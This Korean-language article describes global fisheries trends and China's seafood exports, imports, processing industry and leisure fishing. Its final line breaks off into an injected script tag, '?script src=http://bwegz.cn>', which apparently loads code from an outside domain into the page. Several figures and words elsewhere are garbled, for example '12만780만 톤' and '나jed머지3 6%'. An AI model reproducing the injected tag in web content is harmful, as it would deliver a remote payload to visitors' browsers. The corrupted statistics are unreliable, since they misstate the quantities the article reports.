#국제적인 어업환경의 변화
현재 전 세계 연간 수산물 생산량은 약 1억3000만 톤에 달한다.
그러나 해양어획 수산물 생산량 증가 속도가 빠르지는 않다.
환경과 어업자원에 대한 국제사회의 관심이 높아지면서 모든 나라가 어업자원 보호를 강화하고 있으며 공해상의 어업자원 역시 국제간의 협력을 통해 보호되고 있기 때문이다.
이 때문에 해양어획 수산물 생산량 증가 속도가 느려지고 있으며, 심지어 마이너스 성장이 나타나고 있는 는 시정이다
수산업 전문가들은 이 같은 추세에 따라 앞으로 수산물 공급은 양식업 의존도가 다소 높아질 전망이라고 예측하고 있다.
그들은 또 수산 양식 품종의 국제무역 역시 국제사회에서 점점 더 중요시될 것이라고 전망했다.
#중국의 무역 동향
중국은 1999년 이후 수출량, 수출액이 지속적으로 증가하고, 매년 평균적으로 증가세를 보이며 안정적으로 발전하고 있다. 중국은 2004년 수출입 총액이 처음으로 100억 달러를 넘어섰다. 중국의 수출입 무역 방식은 여전히 일반 무역이 주를 이루고 가공무역과 기타 무역 방식이 부를 이루는 방식이다. 지난해 중국이 자체 생산한 수산물 수출이 수출 총액에서 차지하는 비율은 64%에 달으며, 나jed머지3 6%는 원료를 수입한 후 가공해 재수출한 것이다.
중국이 자체 생산한 수산물 수출액은 50억5000만 달러로 원료 수입 후 가공해 재수출한 수산물 수출액은 28억4000만 달러에 달한다.
수산물 수출에 앞장서고 있는 지역은 산둥, 광둥, 랴오닝, 저장, 푸젠서 등으로 계속해서 수산물 수출 순위 15우위를 차지하고 있으며 이들 5개 성의 수출액이 중국 전체 수출 총액 중 90%를 차지하고 있다.
이중 산둥성은 주로 내료(위탁가공무역거래 시 원자재만 공급받고 가공비는 원자재 수출국으로부터 받는 것) 및 진료(위탁가공무역거래 시 원자재를 정식으로 수입하는 것) 가공어편과 패류 수출이었고 광둥성은 대하와 태래어 등 양질의 양식 수산물 수출이 많았다.
지난해 중국이 수입한 수산물은 366만 톤이며 41억2000만 달러에 달한다.
이중 내진료 원료가공을 한 143만 톤과 158만 톤을 제외하면 중국이 실제로 수입해 소비자에게 식용으로 공급한 수산물은 65만 톤이다.
#국제시장 확대하려는 중국의 움직임
미국 국제식품정책연구회와 세계어업센터가 발표한 ‘2020년 세계 어업 전망’에 따르면 2020년 세계 수산물 소비량(주로 어류와 게 종류)이 12만780만 톤에 달해 1997년 9080만 톤보다 40%늘어날 것으로 예상했다.
이렇게 소비량 증가를 예측하는 것은 개발도상국의 수요 증가가 주요 원인이다.
개발도상국의 수산물 소비량은 빠르게 증가하고 있으며 선진국의 수산물 소비량도 증가추세를 보이고 있다.
그러나 경제와 과학기술이 발전하고 취업기회가 늘어나면서 선진국의 수산업 종사 인구는 갈수록 줄어들고 있다.
이 같은 추세는 중국이 수산물 수출을 확대하는데 유리한 여건으로 작용된다.
중국은 국제 수산물이 양식을 통해 증가할 것이라는 예측에 따라 국제시장 확대호 계호;획을 세우놓고 있다. 은 세계 수산대국이고 수산물 생산량이 세계에서 가장 많지만 수산물 가공은 상대적으로 낙후되어 있다.
수산물 가공률 생산량의 20%수준에 그치고 있다.
이는 세계 평균 수준에 크게 못 미치는 수준으로 기존의 수산가공품 역시 대부분이 1차가공 제품이며 정밀가공 제품은 아주 적다.
중국 경제가 발전하면서 관광레저 산업이 성장하고 수산물이 슈퍼마켓으로 진출했다.
중국은 특히 수산물 가공수요가 점차 늘어남에 따라 6대 수산가공품을 중심으로 개발에 박차를 기하고 있다.
6대 수산물 가공품은 수산편리식품, 별미수산식품, 인공수산식품, 보양수산식품, 미용수산식품, 분할냉동수산식품이다.
중국은 선진 가공설비를 도입해 가공기술을 개선하고 HACCP 품질관리를 실시해 명품제품과 신제품을 만들어나가고 있으며 규모화 생산, 산업화 경영을 추진해 새로운 무역이념과 방법을 통해 국내외 수산가공 시장을 개척해 나가고 있다.
# 어업 시장 확대
중국은 레저관광어업을 낚시어업, 관상어업, 관광어업, 여행과 어가풍경 어업으로 나누고 어업 발전을 위한 새로운 성장 포인트로 삼고 있다.
현재 중국 어업이 실시하는 전략적 구조조정의 중점이기도 하다.
레저어업은 노동과 휴식이 결합한 어업방식이다.
시대가 바뀌면서 레저, 오락, 건강이 여행, 관광, 음식업계로 발전하고 어업과 유기적으로 결합해 1차 산업과 3차 산업의 결합이 실현됐다.
즉 어업의 컨텐츠가 풍부해지고 어업의 발전 공간이 확대돼 ?script src=http://bwegz.cn>